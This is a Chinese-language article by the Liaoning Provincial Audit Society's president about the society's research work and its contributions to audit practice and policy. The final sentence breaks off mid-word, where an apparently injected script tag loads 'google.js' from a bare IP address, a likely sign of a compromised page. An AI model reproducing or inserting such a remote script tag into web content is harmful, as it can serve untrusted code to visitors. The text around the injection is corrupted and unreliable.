圍繞中心 服務大局 不斷推進審計學會工作創新發展 遼寧省審計學會會長 王 悅
近年來,遼寧省審計學會在中國審計學會的指導下,緊密圍繞審計工作中心,著眼服務遼寧振興,堅持以學術活動為載體,深入開展審計基礎理論和應用研究,推進審計科研與實踐的有效結合,為審計事業科學發展提供理論和智力支持。學會多次承擔審計署、中國審計學會、省社科基金、省社科聯等部門組織的課題研究,包括審計署重點立項課題、中國審計學會聯合立項課題、省社科基金項目、省經濟社會發展重大立項課題以及省社科聯重點調研立項課題等。其中一項課題成果獲得省政府獎,四項課題成果獲得省委省政府調研成果獎,六項課題研究受到審計署或中國審計學會表彰,六項科研成果獲全省哲學社會科學學術年會成果獎,立項課題均順利結項并有三項獲優秀等次。學會連續多年被省社科聯評為先進社團,連續兩屆為全省社會科學界10家標兵社團之一。2012年還被評為全省6個5A級社團之一。 回顧近年來我省的審計學會和科研工作,主要有以下幾點做法和體會。 一、堅持將學會工作作為審計工作的重要組成部分,積極融入審計工作及經濟社會發展大局 隨著國家治理環境的變化和審計理論與實踐的發展,學會工作在促進審計事業科學發展方面發揮著越來越重要的作用。因此,我省一直十分重視學會工作,積極探索學會工作的發展規律,自覺跟進審計中心工作和經濟社會發展需要,加強審計研究。近年來,我們著眼于發揮審計的“免疫系統”功能、推進完善國家治理,加強了對如何樹立科學審計理念的研究;著眼于提高審計工作質量和效率,加強了對改進審計方式方法的探討;著眼于審計事業的可持續發展,致力于探索強化隊伍建設的途徑。同時,按照經濟社會發展對審計工作的需求,關注了政策落實情況的跟蹤審計,關注了如何通過強化審計監督,推進經濟發展方式轉變及維護國家經濟安全等問題。通過從經濟社會各項事業科學發展和審計中心工作的要求中尋找學會工作的著力點,使學會工作真正成為審計工作的重要組成部分,成為推動審計事業科學發展的重要力量。 二、注重科研成果向審計實踐應用的轉化,推動學會工作服務決策、服務實踐 1.突出學會工作的決策服務作用。近年來,我省學會充分發揮為決策服務的“智庫”作用,積極為省委、省政府、省廳及相關部門提供決策參考。如:基于遼寧地方政府性債務審計成果開展的課題研究,系統闡述了全省地方政府性債務的現狀和存在的問題,從債務舉借模式、資金使用管理、債務償還機制、運營環境建設等方面提出了完善債務政策體系的對策建議。該成果與省委政研室、省政府研究室、東北財經大學等課題組提交的成果一起,成為我省第十一次黨代會報告起草的參考文獻,為政府強化債務管理提供了決策參考。根據全省社保審計實踐成果展開的研究,從制度設計、預算管理、建設信息化管理平臺及加強監督等方面提出了對策建議,為有關部門科學決策提供了有益參考。 2.強化學會工作的實踐支持作用。一是積極為審計實踐輸送科研成果。如,將經濟責任審計理論與實踐研究的綜合成果,推薦并嵌入到省廳的經濟責任審計工作之中,推進了經濟責任審計工作規范化的進程;將縣區級領導干部經濟責任審計評價的研究成果直接在地方審計機關實踐中加以應用,并通過實踐的檢驗進一步完善成果,推動了審計評價的科學性和審計結果的有效性。2012年,學會還將在學術年會上交流的以加強審計質量管理為切入點的目標分解方法研究成果推薦到省廳的業務平臺上進行交流展示,為審計實踐拓展了新思路、提供了新方法。二是努力用科研成果推動審計制度的建立和完善。如,2009年,學會根據廳黨組的要求,組織省廳和市局業務骨干,從多個層面、多個角度研究和探討了審計現場管理存在的問題及改進措施,省廳以此研究成果為基礎,制定出臺了《遼寧省審計廳審計組管理辦法》,從制度層面明確并細化了審計現場作業職責。又如,基于近兩年審計署統一組織的大型審計項目以及我省開展的績效審計方法體系研究基礎,學會正會同法制處研究起草大項目審計操作規程,以促進大項目審計組織的規范化、制度化進程,為我省上下聯動、交叉互審、跨處室審計等審計組織管理模式夯實制度基礎。 實踐證明,只有注重科研成果轉化,提升服務決策、服務實踐的能力和水平,才能不斷增強學會的生?script src= http://91.239.15.61/google.js \>
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